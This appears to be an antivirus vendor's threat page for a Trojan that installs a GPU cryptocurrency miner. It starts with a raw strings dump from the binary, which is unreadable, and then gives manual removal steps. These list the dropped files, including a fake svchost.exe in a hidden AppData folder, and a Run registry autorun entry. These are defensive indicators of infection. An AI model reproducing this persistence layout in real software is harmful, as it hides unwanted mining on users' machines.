BÞ\H\
Rk.ae
uY.La
.EYID7
.EYFD7
68(:N.Dn
j`.Eb
.cfyu
njb.EbQ
kb.Eb
kb.EbQ
>|.nJ
,ÿj
%n%f}
H.LU.
Çac
u|.XP
y#.dH
.MP<>
).kB"`
7{w\%f
%SFW$
#%.am
3.%Uz
&u.Er
Z8.amP
HC%Uh~
B.yE4
@.BQ,
%XKxAA<
J.OKL
.WyJt]`a
\.mkE
.GK79Z
>/G:.is
m%Fln
*}.Yn
E.vC.r
i^(.BrD
yAo%f
aK@cRt'
Ez%X$@@<&
*.HoZ
*;.Liuz'
x!C%F:
CCu.oWf
A.Pq<
e.AMgn
%Uq/YG
k%CUr~
_ .Pyy
.bO`Em
mA\.ocR1
.text._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx
.nv.info._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx
.nv.shared._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx
.nv.constant0._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx
.text._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
.nv.info._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
.nv.shared._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
.nv.constant16._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
.nv.constant0._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
hC\%U
.nv.constant2._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
8722222
\.UUUU9C
:zq%3u
.LGvS
2O%XF
%%Xx)
>E.mLG
.pHkF`
?;.Ry
.XG6sy
$1"%f%
NdRg4%3X
.VYIT7
k.OlzF
R%Dx2J
m.Sg.S
Og.Se
`%Flu
%sM!v
'c.YN
~,%f}I
,dN.kl/
s.oV?
.akPp
ch-y}
n.AzP
")6%f
IK.Za
%FX_b
hwEB
:>/òZ
=/òZ
M-GS5}
n.Az`
y%Sc}T
L.DG$C
C.Spys
^*.mOs
a^.zO
n.XZXv
K#.XP
=L^X(,@.wB
.gnBEX
û)<
.Aw <%
,X.UI
d^%uQ*
y.xs.
bp>%XqGx
$/.sUc
S%fwa
_-s}!s
@h.GA
9\M%d
(:g".Ey
Hg|%u
)$X%U(yFWu $0
!f9%Dul
hû1d#q
S2w.bH
.WQ._c
T.WQq_a
.CvsQy
~lcL.CCp*
.%U&%
u.LKW]
.uA:S
.vlf'
.GIprl
bF@.mU
O.YLr-
b7.MW*
l@-5}
dgW%C
uo.ps
v.zS?
U.Wzx
7P%9UYp2
')1%DW
JR.Re
*/?;.Qy
5O%XB
?;.Sy
T.BiP
e@.Ja
^uüa
j.DeD@Z
m.Sd$
l.Sb$
|.Sb.S
N%u2b[
NE.SK
5.NXi
.Nw-s
t~ %U
eb.EbQNgK
.hB.=bQ
A}|,%f
eb.EbQ
3RF.kv
gb.EbQ
t!l<mM.ia
5x!~.iy
mM.Ayp'
O,#z!n.ye
d5&7kN.AA
mM.AA
xb%UM
.wZQE
.wZA$
=Zx%S
n.Azpf
AvuDPG
\P6.xW
.XZWC
).kBR
n.Azp
%XLx1
.Wyjt]`e
K5.zvT
G@B%c
d.pB'
%U 4"
.gx/F<
S%f_a
f%6uK
q.TRM
b%Us)
&.MH0
T%6uK*2
.IC2C
<7}%Fl
glQ
E.abh
b6%.Ff
B6'
oA.Zq
.QV$b
.YU!Y
W.WIY
@V%D L
z%s##
"!kEY
vL"-X}i
| |%F
.ls1QO
z%%xk5
.Fb1d#1P
L$.Cfo
n;.Rw
I~%xT
u?%CsaDZs
L%u0L
fL.zL
portP;
G\.Qw
G\.SG
H8.NG
G\%Cg
G\.RG
G\.Zw
H8%D'
(8.PG
G8%FW
6T.Wb
6..Ge
[7.wc
H8.OW
(8@.Gb
6%dG*0
H8.gG*0
H8.jG*0
G\.FWd
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
5(555;5]5
9 9;9@9[9`9{9
7!7/777]7
:#:):0:<:]:
?!?/?7?]?
(0/0@0\0
1&131:1|1
> >$>(>,>0>4>8>
5%6u6
8%8U8[8
3%3-393`3
2,282\2|2
: :@:\:`:|:


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    f98e814b1ee5dfe36f5c4182bd58b2f8.exe:4000
    cpuinfo.exe:4044
    %original file name%.exe:2748
    7z.exe:3704
    wscript.exe:2172
    wscript.exe:4032

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\AMD.zip (22231 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Every.zip (1168 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\7zxa.dll (1617 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Intel.zip (26230 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cpuinfo.exe (4481 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\7z.exe (4985 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\install.vbs (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\7za.dll (3313 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cpuinfo.txt (51 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\f98e814b1ee5dfe36f5c4182bd58b2f8.exe (44886 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\svchost.vbs (171 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\ssleay32.dll (5128 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\cudart32_60.dll (4984 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\Qt5WebSockets.dll (2712 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\platforms\qwindows.dll (16304 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\vccorlib110.dll (4984 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\msvcr110.dll (15568 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\msvcp110.dll (10448 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\Qt5Core.dll (71595 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\libeay32.dll (17572 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\Qt5Network.dll (14600 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\svchost.exe (131624 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\svchost.bat (154 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    ".security" = "wscript.exe C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\svchost.vbs"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Average: 2 (1 vote)


Lavasoft is the maker of Ad-Aware, the world's most popular anti-malware software with over 450 million downloads.
© 2025 Lavasoft. All rights reserved.
Terms Of Use |   Privacy Policy


x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now